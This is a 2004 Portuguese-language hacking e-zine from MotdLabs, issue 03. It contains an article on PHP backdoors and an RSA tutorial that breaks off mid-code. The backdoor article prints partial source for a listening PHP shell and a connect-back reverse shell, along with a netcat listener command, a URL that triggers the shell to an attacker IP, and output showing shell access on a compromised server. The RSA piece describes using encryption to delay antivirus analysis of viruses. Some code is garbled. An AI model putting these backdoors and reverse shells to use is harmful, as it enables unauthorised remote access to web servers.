dP dP
88 88
88d8b.d8b. .d8888b. d8888P .d888b88
88'`88'`88 88' `88 88 88' `88
88 88 88 88. .88 88 88. .88
dP dP dP `88888P' dP `88888P8
oo dP
88
.d8888b. dP dP dP .d888b88 .d8888b.
88' `88 88 88 88 88' `88 88ooood8
88. .88 88. .88 88 88. .88 88. ...
`8888P88 `88888P' dP `88888P8 `88888P'
.88 Número 03
d8888P
E-zine lançada oficialmente dia 12 de Outubro de 2004.
http://www.motdlabs.org
http://www.orkut.com/Community.aspx?cmm=114799
contato@motdlabs.org
irc.freenode.org /join #motd
ATENÇÃO: O MotdLabs adverte que não será responsável por qualquer tolice que
você venha a fazer. Estou certo de que estará consciente que ao tentar por em
prática quaisquer técnicas descritas no decorrer desta zine, você poderá se dar
mal. Ela foi criada apenas para propósitos educacionais e cabe a você decidir o
que fará com esse poder em suas mãos. Só não venha reclamar que se deu mal por
ter feito algo que aprendeu nesta mesma. Obrigado pela a atenção e boa
leitura!!! :)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ Colaboradores ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
bashX......................................................bashx@click21.com.br
BlackSh33p................................................sheep1826@hotmail.com
inferninho..............................................inferninho@yahoo.com.br
IP_FIX......................................................ip_fix@motdlabs.org
Narcotic..................................................narcotic@motdlabs.org
RoOtLiQuiD..............................................rootliquid@motdlabs.org
SkyNet45..................................................skynet45@motdlabs.org
tDs............................................................tds@motdlabs.org
_tzlord_................................................rodrigo-lord@bol.com.br
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ Índice ]-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[ 01 ] Introdução (by IP_FIX)
[ 02 ] Malícia é o mais importante (by tDs)
[ 03 ] Criptografia RSA - Algoritmos e Implementações (by RoOtLiQuiD)
[ 04 ] Shellcode em PHP (by tDs)
[ 05 ] Detonando HoneyPots em Linux (by SkyNet45)
[ 06 ] Slackware sem medo (by _tzlord_)
[ 07 ] Sockets in Perl for dummies (by BlackSh33p)
[ 08 ] Nós ainda estamos ganhando... (by bashX)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ Ferramentas ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[Enumereitor-0.1]..........Enumera Hosts Válidos............(by inferninho)
[Steck-0.2].................Backdoor em PHP.................(by tDs)
[Steno]...................Steganografia em HTML.............(by Narcotic)
[RevSteck-0.2].............Connect-Back em PHP..............(by tDs)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[01]-=[Introdução]=-|IP_FIX|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Senhores! Como vão? =)
Estamos aqui novamente compartilhando informações sobre hacking/security
para a comunidade, todos que estejam interessados. Como de costume esta
e-zine é destinada aos newbies, fuçadores e curiosos em geral.
Infelizmente não ocorreu o H2HC na data prevista, mas em breve o evento
irá se realizar. Sobre a e-zine, apesar de o conteúdo estar inferior da
edição passada, o conteúdo está muito bom. Para muitos não foi possível
entregar determinados artigos devido a falta de tempo, pois quase todos
trabalham e estudam, dificultando o empenho no grupo.
Mas estamos na ativa! Sempre colaborando na mail-list quando possível e
com frequência no canal #motd da freenode. Agradecemos ao Clube dos
Mercenários e ao Front The Scene pelo apoio e ajuda. Estamos abertos
também a todos que queiram ajudar compartilhando informações em especial
pra e-zine, que é algo que vem sendo esperado por muitos.
É, tempos difíceis e duros, espero que aproveitem e critiquem sobre o ela
em geral. Sem mais o que falar... Façam bom aproveito!
HACKING FOREVER!!!
Abraços,
IP_FIX.
Nossos parceiros r0x!
Clube dos Mercenários:
http://cdm.frontthescene.com.br
http://br.groups.yahoo.com/group/mercenariesclub/
irc.freenode.org /j #mercenaries
Front The Scene:
http://www.frontthescene.com.br
http://br.groups.yahoo.com/group/frontthescene/
irc.freenode.org /j #fts
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[02]-=[Malícia é o mais importante]-=|tDs|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
________________
| [1] INTRODUCAO |
`================
Poderia bem colocar outro titulo neste texto, mas... Bom, isto nao vem ao
caso. O que importa e' neste momento e', como citou Einsten:
"A imaginação e' mais importante que o conhecimento."
___________
| [2] O QUE |
`===========
A utilizacao de PHP vem aumentando a uma velocidade muito grande. Com
isso, o numero de utilizadores tambem aumenta, mas em muitos casos apenas
os recursos basicos desta linguagem sao utilizados.
Mas o que pode PHP fazer? Com PHP voce pode, entre outras coisas:
- Fazer operacoes matematicas;
- Criar aplicativos que rodem via linha de comando;
- Criar aplicativos que utilizem GUI (Graphic User Interface);
- Criar imagens;
- Criar documentos PDF;
- Trabalhar com memoria compartilhada/IPC;
- Manipular processos;
- ...
- Utilizar sockets;
OTIMO! Posso utilizar sockets.
__________________________
| [3] INTRODUCAO, PARTE II |
`==========================
Se as configuracoes do PHP estivem bem feitas, a utilizacao dele de forma
maliciosa pode se tornar um pouco mais complicado. Mas deixando de lado o
pessimismo, vamos supor que a configuracao nao seja das melhores (nao esteja
bem configurado). Vamos brincar um pouco com ele entao.
Algumas funcoes nativas do php para execucao de programas sao:
exec - Executa um programa externo
passthru - Executa um programa externo e mostra a saida crúa
proc_open - Executa um comando e abre ponteiros de arquivos para
entrada/saída
shell_exec - Executa um comando via shell e retorna a saída inteira
system - Executa um programa externo e mostra a saída
backtick operator, que e' um comando entre o sinal de acento grave
(`uname -a`).
Consegue enxergar algo ai? Continuando, temos tambem as funcoes para
manipulacao de sockets. Vejamos algumas:
socket_create - Create a socket (endpoint for communication)
socket_bind - Binds a name to a socket
socket_listen - Listens for a connection on a socket
socket_accept - Accepts a connection on a socket
socket_write - Write to a socket
A visao esta clareando? Se podemos executar comandos e podemos criar
sockets, por que nao podemos unir o util ao agradavel; criar um socket que
escute na porta X, aguarde conexoes do endereco Y e execute os comandos por
ele enviados?
A resposta e': MAS NOS PODEMOS...
_________________________
| [4] INICIO DA DOMINACAO |
`=========================
Temos o seguinte cenario (isso nao aconteceu):
Contratei uma empresa de hosting para hospedar meu site, sem segundas
intencoes. Apos algumas verificacoes, notei que nem tudo estava bem configurado
por ali. Escrevi entao um script que criava um socket, e ficava escutando na
porta 10001. O script e' o seguinte:
-----backdoor.php-------------------------------------------------------------
&1";
$stcexe = shell_exec ($stcbuf);
$stcexe = str_replace ("\n", "\n\r", $stcexe);
socket_write ($stcSockFD, $stcexe, strlen ($stcexe));
}
$stcmsgRet = STCShellMsg ();
socket_write ($stcSockFD, $stcmsgRet, strlen ($stcmsgRet));
} while (true);
socket_close ($stcSockFD);
} while (true);
socket_close ($stcsock);
}
STC_bDoor ();
?>
----------------------------------------------------------------------------
Depois de criar o script, coloquei ele no meu site, e o acessei (o endereco
dele era http://www.site.com/backdoor.php). O script ficou rodando, sem nenhuma
mensagem. Ai entao tentei, via telnet, acessar o endereco site.com na porta
10001. O que aconteceu?
tds@matrix:/$ telnet site.com 10001
Trying 241.242.243.244 ...
Connected to site.com.
Escape character is '^]'.
uname -a
Linux site.com 2.4.22 #6 Tue Sep 2 17:43:01 PDT 2003 i686 unknown unknown
GNU/Linux
steck@motdlabs:/usr/local/apache2/htdocs/site.com/$
Legal, uma shell. Estou nela atraves de uma backdoor escrita em php. Muito
bom! E apenas o comeco.
_________________________________
| [5] NOVAS IDEIAS/MAIS BACKDOORS |
`=================================
Tudo vai bem quando se esta bem. Apos alguns testes e depois de mais um
tempo de desenvolvimento, a backdoor foi aprimorada (o fonte dela esta
disponivel para download, veja nos links, ao final do texto). Apos alguns dias
utilizando-a, notei que nao estava funcionando em diversos servidores, nao por
falha no codigo ou por boa configuracao dos servidores, mas pura e simplesmente
gracas a alguns firewalls atrapalhando. Pronto. Havia acabado a diversao.
_____________________________________________
| [6] PHP MAL CONFIGURADO + FIREWALL != SHELL |
`=============================================
Apos executar a backdoor, notava-se que ela realmente estava funcionando
(tinha uma outra forma de acesso ao servidor, mas queria mesmo uma shell), e
estava escutando na porta 10001. Mas por que entao nao tinha acesso via telnet
a ela? UM FIREWALL, OBVIO. Deveria ter um firewall que rejeitasse qualquer
pedido de conexao a portas diferentes de 80. Seria o fim? Ainda nao.
______________________________________________________
| [7] PHP MAL CONFIGURADO + FIREWALL + MALICIA = SHELL |
`======================================================
Se nao se pode conectar em nenhuma porta que nao seja a 80, nao podemos
"solicitar" que o servidor conecte-se a uma maquina que determinar-mos? Seria
mais ou menos assim:
Estamos aqui Entraremos aqui
++++++++ ++++++++++
+ + + +
+ HOST A + + SERVIDOR +
+ + + +
++++++++ ++++++++++
a) HOST A agurda por uma conexao na porta 44321;
b) SERVIDOR executa script em php que conecta-se a HOST A na porta 44321;
c) Assim que recebe a conexao de SERVIDOR, HOST A esta pronto para executar
"o que quiser";
Na pratica, pode ser feito da seguinte forma:
a) HOST A executa netcat, para aguardar conexoes na porta 44321 no endereco ip
245.246.247.248, que e' o seu endereco:
tds@matrix:/$ nc -l -p 44321 -s 245.246.247.248
b) SERVIDOR executa o seguinte script:
-----backdoor2.php------------------------------------------------------------
\n\r";
die;
}
while ($rstflag) {
$rstbuf = fgets ($rstcon, 1024);
if (!$rstbuf = trim ($rstbuf)) { continue; }
if ($rstbuf == 'exit') {
unset ($rstflag);
break;
}
if (substr_count ($rstbuf, "cd") && strpos ($rstbuf, " ") == 2) {
$rstexe = chdir (str_replace ("cd ", "", $rstbuf));
} else {
if (substr_count ($rstbuf, "ls") && ((
strpos ($rstbuf, " ") == 2) ||
strlen ($rstbuf) == 2)) {
}
$rstbuf .= " 2>&1";
$rstexe = shell_exec ($rstbuf);
$rstexe = str_replace ("\n", "\n\r", $rstexe);
fwrite ($rstcon, $rstexe, strlen ($rstexe));
}
$rstmsgRet = RSTShellMsg();
fwrite ($rstcon, $rstmsgRet, strlen ($rstmsgRet));
}
fclose ($rstcon);
}
RSTRevSteck ();
?>
----------------------------------------------------------------------------
O acesso a ele ficaria entao assim:
http://www.servidor.com/backdoor2.php?rstpo=44321&rstip=245.246.247.248
c) De volta ao terminal, onde foi executado o netcat temos:
tds@matrix:/$ nc -l -p 44321 -s 245.246.247.248
CONECTADO!
id
uid=1006(apache) gid=103(apache) groups=103(apache)
revsteck@motdlabs:/usr/local/apache2/htdocs/servidor.com$uname -a
Linux servidor.com 2.4.22 #6 Tue Mar 5 12:51:07 PDT 2003 i586 unknown
unknown GNU/Linux
revsteck@motdlabs:/usr/local/apache2/htdocs/servidor.com/$
Parece brincadeira, mas e' serio. A quantidade de servidores internet afora
vulneraveis nao e' pequena. Uma versao melhorada do script exposto acima esta
disponivel para download, veja nos links, ao final do texto.
_____________________________
| [8] TERMINANDO DA DOMINACAO |
`=============================
Uma vez dentro, a chance de elevacao de privilegios e' bastante grande.
Mesmo utilizando apenas php para isso. Pode parecer utopico, mas nao e'. Mas
isso fica para um proximo texto... Em breve.
___________
| [9] LINKS |
`===========
http://tds.motdlabs.org/myhome/index.php?nav=1&snav=5 - Backdoor em php
http://tds.motdlabs.org/myhome/index.php?nav=1&snav=6 - Backdoor em php,
utilizando conceitos de connect-back
http://www.motdlabs.org
http://cdm.frontthescene.com.br
http://www.frontthescene.com.br
/j #motd -> irc.freenode.net
___________________________
| [10] CONSIDERACOES FINAIS |
`===========================
Seria mais facil se eu conseguisse organizar meus pensamentos em palavras
de maneira mais intuitiva, mas tudo bem... Espero que ao menos tenha sido
compreensivel o que escrito. Caso nao tenha, estou a disposicao para trocar
ideias sobre o assunto.
Longe de esgotar os assuntos (php e malicia), apenas uma breve introducao
nos mesmos. Nota-se o poder que pode ter um script em php apenas com os
mostrados acima. Mas muito alem disso, uma arma com grande poder e' a malicia.
Se teu programa nao pode entrar, peca para algum que possa carrega-lo para
voce. Se 3 + 3 nao esta dando certo, tente 2 + 4, 1 + 5, outras formas de
chegar ao objetivo... Mas o mais importante e' enxergar alem do alcance dos
olhos, onde acredita-se nao ter nada... Enxergar alem do final.
"Tudo da certo no fim, se não deu é porque ainda não chegou no fim"
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[03]-=[Criptografia RSA - Algoritmos e Implementações]-=|RoOtLiQuiD|=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
--------------------------------------------------------------------------------
CRIPTOGRAFIA RSA
ALGORITMOS E IMPLEMENTACOES
By RoOtLiQuiD
rootliquid@m...
www.motdlabs.org
--------------------------------------------------------------------------------
-------------
INDICE:
-------------
1.0 :: INTRODUCAO CHATA QUE NINGUÉM LÊ ............................... LINE 39
2.0 :: Breve comentário sobre Curvas Elípticas ....................... LINE 100
3.0 :: Introducao ao RSA ............................................. LINE 128
4.0 :: Funcionamento do RSA .......................................... LINE 212
4.1 :: Gerando as chaves ............................................. LINE 220
4.2 :: Encriptando ................................................... LINE 283
4.3 :: Desencriptando ................................................ LINE 308
4.4 :: Resumo do funcionamento do RSA ................................ LINE 325
5.0 :: Breve Comentário sobre "DELAYED CODES" ........................ LINE 360
6.0 :: SOURCE CODES .................................................. LINE 403
6.1 :: Simple RSA in C ............................................... LINE 432
6.2 :: Simple RSA in LISP ............................................ LINE 720
6.3 :: COMPLETE RSA IN C USING GNU MP LIBRARY ........................ LINE 907
--------------------------------------------------------------------------------
1.0 :: INTRODUCAO CHATA QUE NINGUÉM LÊ
--------------------------------------------------------------------------------
Como vc jah deve saber, a criptografia eh a arte de trasnformar informacoes
em MULHER, ou seja, algo que vc realmente nao consegue entender.
Existem dois tipos de criptografia, a chamada Criptografia Simétrica, e
Assimétrica.
-------------------------------
..:: Criptografia Simétrica :
-------------------------------
Durante a primeira guerra mundial o cientista Gilbert Vernam inventou
um método para esconder as mensagens enviadas às tropas.
Uma palavra ou frase qualquer aleatoriamente escolhida servia de chave para
esconder qualquer texto. O método era bem simples, as duas pessoas que queriam
se comunicar deveriam ter essa mesma chave, e cada vez que uma fosse enviar um
texto para a outra, deveria ser feita uma operação lógica de XOR da chave com o
texto, assim os dados do texto ficavam "misturados" com a chave, não sendo
possível distinguir os dois. Para decifrar o texto, a outra pessoa deveria
possuir a mesma chave, bastando para isso apenas fazer o XOR novamente no texto
cifrado fazendo-o virar novamente o texto original.
Esse método é chamado de simétrico porque os dois lados da comunicação
precisam ter a mesma chave, exatamente igual, tanto para encriptar, quanto para
desencriptar. Isso é um grande problema pois vc precisa entregar essa chave de
modo seguro a pessoa certa, pois qualquer um que tiver a mesma chave poderá
decifrar a mensagem. Apesar disso, ainda hoje ele é usado, pois com esse método
podemos encriptar dados em O(1), pois basta uma operação (XOR) para cada bit a
ser encriptado, no método assimétrico a coisa jah eh bem diferente...
Para gerar chaves para criptografia simétrica existem muitos algoritmos como
o DES, MD5, SHA, etc...
Particularmente quem se interessar pode dar uma olhada no algoritmo SKIPJACK
da NSA, veja mais em: http://www.tropsoft.com/strongenc/skipjack.htm
ou procure no google: Skipjack NSA algorithm
---------------------------------
..:: Criptografia Assimétrica :
---------------------------------
Nela, vc tem duas chaves, uma chamada de chave pública, que eh usada apenas
para encriptar os dados e com ela não eh possível desencripta-los, e uma chave
chamada de privada, que eh usada para desencriptar os dados. Nesse método você
entrega para a outra pessoa a sua chave pública para que ela possa te mandar
mensagens cifradas com a sua chave.
Para você mandar mensagens cifradas para a outra pessoa você precisa da
chave pública dela, e vice-versa. Na criptografia assimétrica os dados não são
encriptados com XOR, mas sim com cálculos matemáticos, e por isso encriptar uma
grande quantidade de dados com esse método pode ser muito lento.
A criptografia RSA usa o método assimétrico, eu vou explicar como funciona,
mas antes um breve comentário sobre as Curvas Elípticas (que também usam o
método assimétrico).
--------------------------------------------------------------------------------
2.0 :: Breve comentário sobre Curvas Elípticas
--------------------------------------------------------------------------------
Atualmente o que há de mais avançado em cifragem de dados eh a criptografia
baseada em Curvas Elípticas. O único algorimto que conheço que usa isso,
chama-se ECC.
Para o RSA, o tamanho do problema é o tamanho do módulo que deve ser
fatorado. Já nas curvas elípticas, o tamanho do problema é o número de pontos N
no grupo em que se está trabalhando.
A segurança das curvas elípticas se baseia na intratabilidade do problema do
logaritmo discreto em grupos aritméticos definidos sobre os pontos de uma curva
elíptica (Caraio! Foda hein!). Oferece o mesmo nível de segurança que os
sistemas baseados em corpos de inteiros como o RSA, mas com tamanho de chave
menor.
Um ECC de 160 bits equivale a um sistema RSA de 1024 bits (Putz!!!).
Para mais informações sobre Criptografia baseada em Curvas Elípticas acesse:
http://www.lockabit.coppe.ufrj.br/downloads/academicos/ECCMono.pdf
Ou então digite no google Criptografia+Curvas+Elípticas
--------------------------------------------------------------------------------
3.0 :: Introducao ao RSA
--------------------------------------------------------------------------------
O algoritmo RSA foi inventado pelos professores do MIT: Ronald L. Rivest,
Adi Shamir, e Leonard Adleman em 1977.
A empresa RSA Security que originalmente era controlada pelos inventores,
detêm a patente do algoritmo. Mas pelo que eu sei essa bosta de patente soh eh
válida nos EUA, portanto pode ficar tranquilo que o FBI não vai bater à sua
porta porque vc fez um programa que usa esse algoritmo!
Leia mais sobre essa patente em:
http://www.cyberlaw.com/rsa.html
Ah, eu ouvi dizer que essa patente expirava em junho de 2000, soh que eu
não consegui achar nada que confirmasse... Se alguem souber ....
Como jah foi dito, o RSA usa criptografia assimétrica. Para que haja
segurança nesse método, devemos ter um algoritmo que gera uma chave pública e
uma privada de modo que seja impossível (ou quase, hehe) de determinar a chave
privada mesmo sabendo a chave pública.
Para isso, a chave pública eh gerada através de uma "one-way function", uma
função matemática onde dado uma certa entrada eh relativamente fácil de
determinar o resultado, porém sabendo o resultado, eh praticamente impossível
determinar a entrada.
Matematicamente falando: dado X, computamos F(x) facilmente, porém , dado
F(x), eh impossível computar X.
Funções não inversíveis são um exemplo de uma "one-way function".
No caso do RSA, a função usada eh a multiplicação de dois números primos.
Dae, vc deve estar pensando: "mas essa função eh inversível, se eu fatorar o
resultado eu acho os dois números primos". Pois eh, isso funciona se tivermos
números pequenos, como 7 e 13, que dá 91. Se dividirmos 91 por todos os primos
anteriores vamos acabar descobrindo que 91/13 dah 7 e não sobra resto, o que
quer dizer que encontramos a entrada (7 e 13).
Apesar dessa função ser inversível, se multiplicarmos números primos muito
grandes, a quantidade de números que precisaremos testar para descobrir a
entrada vai ser tão grande, que torna esse trabalho impraticável. Por isso, para
que essa função seja segura, devemos estar certos de que os dois números
escolhidos são realmente primos e que sejam números muito grandes.
Por exemplo, quando dizemos que estamos trabalhando com uma chave de 1024
bits no RSA, isso quer dizer, que a chave pública tem 1024 bits, ou seja,
precisamos de 1024 bits para representar o número que foi gerado pela
multiplicação dos dois primos, portanto cada número primo deveria ter 512 bits.
Para se ter uma idéia, um número de 1024 bits é da ordem de 1 x 10^308 na
representação decimal, imagine quantos números antes desse devemos testar para
encontrar os dois números primos que o geraram!!! Com o computador que está na
sua frente agora, você levaria mais tempo do que a idade do universo para
conseguir fatorar esse número, heheheh que exagero, na verdade eu não sei quanto
tempo levaria, mas seria tanto tempo que mesmo com os computadores mais modernos
exitentes, fatorar esse número seria uma tarefa quase impossível. O problema, eh
que com a computação quântica, o poder computacional seria aumentado muito, pois
seria possível fazer vários cálculos ao mesmo tempo usando os vários estados que
podem ter um qbit.
Certamente a criptografia atual não eh páreo para a computação quântica. Um
cálculo que no computador comum poderia levar milhares de anos para ser
concluído, com um processador quântico esse tempo pode ser reduzido para
algumas horas.
Para tentar driblar esse problema de fatorar uma multiplicação de dois
números primos existem algoritmos e teoremas que otimizam e diminuem o trabalho,
não sendo preciso testar o número com todos os primos anteriores, porém ainda
assim não foi encontrada uma fórmula que consiga fatorar números grandes de
forma suficientemente eficiente para que ameace a criptografia atual.
Na prática para se fazer um sistema de criptografia seguro que usa o RSA,
você vai enfrentar 3 problemas principais:
o) Como pegar dados verdadeiramente aleatórios, para gerar os
números primos.
o) Como saber se um número qualquer eh realmente primo.
o) Como fazer cálculos numéricos com números de representação
maior que 32 bits.
Mais a frente isso será eplicado.
--------------------------------------------------------------------------------
4.0 :: Funcionamento do RSA
--------------------------------------------------------------------------------
O algoritmo RSA eh muito simples, ele usa apenas 3 fórmulas matemáticas, uma
para gerar as chaves,uma para encriptar, e outra para desencriptar.
--------------------------------------------------
4.1 :: Gerando as chaves
--------------------------------------------------
Primeiro devemos gerar a chave publica e a privada, essa eh a parte mais
complicada.
Para gerar as chaves devemos ter dois números primos aleatórios P e Q.
-----------------------
..:: A chave pública:
-----------------------
A chave pública eh composta por dois números, N e E.
O número N eh a multiplicação dos dois números primos P e Q:
N = P * Q
Para calcular o número E , precisamos ainda calcular outro número que vai
nos auxiliar, o número PHI. Que eh calculado pela multiplicacao dos dois primos
menos 1, veja:
PHI = (P-1)*(Q-1)
O número E deve ser calculado de maneira que o MDC (máximo divisor comum)
entre E e PHI seja 1, ou seja, de maneira que E seja relativamente primo de PHI.
O número E deve satisfazer a condição:
MDC( E, PHI ) == 1
Para conseguir fazer isso, vamos ter que usar algumas gambiarras
matemáticas.
OBS: O número E , sempre resulta num número pequeno (com um pequeneo # de
bits)
como 3, 17, 50003 e etc..
A chave pública são apenas os númeors E e N, o PHI não deve de maneira
nenhuma ser fornecido, pois com ele geramos o número D que eh a chave privada.
-----------------------
..:: A chave privada:
-----------------------
A chave privada eh composta pelo número D e o N também.
O número D eh o número que multiplicado por E, módulo PHI, eh igual a 1,
ou seja:
O númer D deve satisfazer a condição:
( E*D ) % PHI == 1
O D eh também chamado de o inverso de E módulo PHI.
No código exemplo eu calculo isso usando o "Bizarre Extended Euclidian
Algorithm" ;-) Mas eu não sei bem como esse treco funciona, eu soh peguei o
algoritmo no google e usei! hehehe, eu sou um geek nao um matemático pervertido!
Veja mais em: http://www.grc.nasa.gov/WWW/price000/pfc/htc/zz_xeuclidalg.html
--------------------------------------------------
4.2 :: Encriptando
--------------------------------------------------
Para encriptar qualquer tipo de dados, seja texto, imagem ou o que for, vc
deverá transformar tudo em números, trabalhando com 32 bits, fica fácil de fazer
isso, basta pegar 4 bytes de cada vez dos dados que vc quer encriptar. O número
deve ser sempre unsigned long.
Para encriptar uma mensagem qualquer, convertemos ela em um número M, e
fazemos o seguinte cálculo:
Mensagem encriptada (C) eh igual a (Mensagem Original elevado a E) módulo N:
C = M^E mod N
Devemos fazer isso para todos os pedaços da mensagem. Se dividirmos uma
mensagem de 20 bytes em 5 partes de 4 bytes, devemos fazer isso 5 vezes e
guardar separadamente o número encriptado que foi gerado.
Veja que na encriptação usamos os dois números gerados para a chave
pública, o N e o E.
--------------------------------------------------
4.3 :: Desencriptando
--------------------------------------------------
Para desencriptar a mensagem basta fazer o seguinte cálculo:
Mensagem Original eh igual (Mensagem Encriptada elevada a D) módulo N.
M = C^D mod N
Depois de feito isso vc terá o número M original que faz parte da mensagem.
Veja que para desencriptar precisamos saber o número D gerado para a chave
pública e o N.
--------------------------------------------------
4.4 :: Resumo do que acabou de ser dito
--------------------------------------------------
Gerando as chaves:
Chave Pública: E e N
Chave Privada: D e N
N = P * Q
PHI = (P-1)*(Q-1)
E satisfaz a condição: MDC( E, PHI ) == 1
D satisfaz a condição: ( E*D ) % PHI == 1
Encriptando:
C = M^E mod N
Desencriptando:
M = C^D mod N
Observe que para desencriptar vc precisa saber o número D, e para saber o
número D vc precisa saber o número PHI, e para saber o número PHI vc precisa
saber os primos P e Q.
Portanto, esses números não devem de forma alguma serem revelados para
terceiros.
Obtendo quaisquer um dos números D, PHI, P e Q vc pode desencriptar a
mensagem.
Na chave pública, eh distribuído apenas os números E e N, o método mais
comum para se atacar uma criptografia RSA eh tentar fatorar o número N (que eh
conhecido) nos dois números primos P e Q para que assim se possa gerar a chave
privada D.
--------------------------------------------------------------------------------
5.0 :: Breve Comentário sobre "DELAYED CODES"
--------------------------------------------------------------------------------
Deve-se notar que o tempo de processamento necessário para encriptar é
muitas vezes menor do que o tempo necessário para desencriptar. Isso se deve
por que na desencriptação, elevamos um número grande C ao expoente D que também
eh um número grande, enquanto na encriptação elevamos um número grande M ao
expoente E, que como vimos anteriormente, eh um numero pequeno, portanto o
cálculo eh muito mais rápido. Essa característica do RSA eh pervertidamente
aproveitada para gerar os chamados "DELAYED CODES".
Quando surge um novo vírus, rapidamente os fabricantes de anti-vírus criam
um código para detectá-lo e depois de algum período de tempo, todos os
computadores infectados serão curados, o "DELAYED CODE" é usado para prolongar
o período de tempo que os computadores ficam infectados.
Para que o anti-vírus não detecte o vírus pode-se mudar partes do código do
vírus ou alguma característica do vírus após 2 meses por exemplo. Mas nesse caso
o anti-vírus poderia ter duas versões da vacina, sendo uma com o código
modificado, aí eh que entra o Delayed Code. Para esconder o código fará a
modificação basta criptografá-lo de maneira que demore 2 meses (ou qualquer
período de tempo) para descriptografar.
Usando o RSA, encripta-se n vezes o código a ser escondido, e coloca-se
a chave privada junto do código original do vírus, usando a chave privada o
próprio vírus pode descriptografar o código escondido, ou ainda, os próprios
fabricantes de anti-vírus podem descriptografar, porém, levará 2 meses para
conseguir isso, pois o código foi encriptado n vezes e terá que ser
descriptografado o mesmo número de vezes, como o tempo de encriptação eh muitas
vezes menor do que o de desencriptação, isso torna possível gerar um código
que leva algumas horas ou dias para criptografar mas leva meses para
descriptografar. Com isso , consegue-se atrasar a análise do código do vírus
para que este possa ter mais tempo para infectar computadores.
Essa eh a idéia básica do Delayed Code, para saber mais detalhes leia:
http://z0mbie.host.sk/dpgn_eng.txt
--------------------------------------------------------------------------------
6.0 :: SOURCE CODES
--------------------------------------------------------------------------------
Os topicos seguintes trazem codigos de programas que eu fiz para implementar
a criptografia RSA de 3 maneiras.
Na primeira ( 6.1 ) eu fiz de maneira simples usando apenas as funcoes
aritmeticas padrao do C e sem otimizar nada, por isso eh lento e nao consegue
gerar chaves RSA maiores que 32 bits, e gera numeros primos aleatorios (devem
ser definidos com #define antes).
Na segunda ( 6.2 ) eu fiz usando os mesmos algoritmos usandos na 6.1, ou
seja, sem otimizacao nenhuma, mas eu fiz em LISP e por isso podemos usar a
aritimetica de precisao infinita que a propria linguagem tem, e portanto podemos
gerar chaves RSA maiores que 32 bits, mas eu reparei que chaves maiores q 64
bits deixam os calculos muiiiiiito lerdos.
Na terceira eu fiz em C e usei a biblioteca GNU MP
( http://www.swox.com/gmp/ )
Por isso podemos usar chaves de qualquer tamanho e eu usei funcoes da
biblioteca para gerar os numeros primos aleatorios. Alem disso, por ter todos os
calculos otimizados pela propria biblioteca, o programa consegue gerar chaves de
2048 bits por exemplo e encriptar/desencriptar os dados rapidamente.
--------------------------------------------------
6.1 :: Simple RSA in C
--------------------------------------------------
/******************************************************************************/
/* SIMPLE RSA IN C */
/* BY RoOtLiQuId */
/******************************************************************************/
/* */
/* NESTA VERSAO EU IMPLEMENTEI O RSA BEM SIMPLES DE MANEIRA QUE FIQUE FACIL */
/* DE ENTENDER */
/* NAO USEI NENHUMA BIBLIOTECA, E POR ISSO A MAIOR CHAVE RSA QUE PODEMOS TER */
/* VAI SER DE 32 BITS DEVIDO A LIMITACAO DA ARITMETICA PADRAO DA LINGUAGEM C */
/******************************************************************************/
#include
#include
#include
#define ULONG unsigned long long
#define LONG long long
/* como nao ensinei um jeito de achar numeros primos,
aki vao 2 numeros primos predefinidos*/
#define PRIMO1 17863
#define PRIMO2 17851
typedef struct RSA_PublicKEY {
ULONG N;
ULONG E;
} RSA_PublicKEY;
typedef struct RSA_KEY {
/* Private Key : */ ULONG D;
RSA_PublicKEY publicKey;
} RSA_KEY;
/******************************************************************************/
/* Aqui se faz o calculo do "modular inverse of an integer when that integer */
/* is relatively prime to the modulus" */
/* hehehehe, ou seja: */
/* Devemos achar D tal que : ( E*D ) % PHI == 1 */
/* Portanto usamos o Fuckin Bizzarre "Extended Euclidian Algorithm" */
/*Veja mais em http://www.grc.nasa.gov/WWW/price000/pfc/htc/zz_xeuclidalg.html*/
/******************************************************************************/
ULONG RSA_extend(ULONG E, ULONG PHI) {
LONG q, u2, u3, v2, v3, t2, t3;
u2 = 0;
u3 = (LONG)PHI;
v2 = 1;
v3 = (LONG)E;
while (v3 != 0)
{
q = u3/v3 ;
t2 = u2 - q * v2;
t3 = u3 - q * v3;
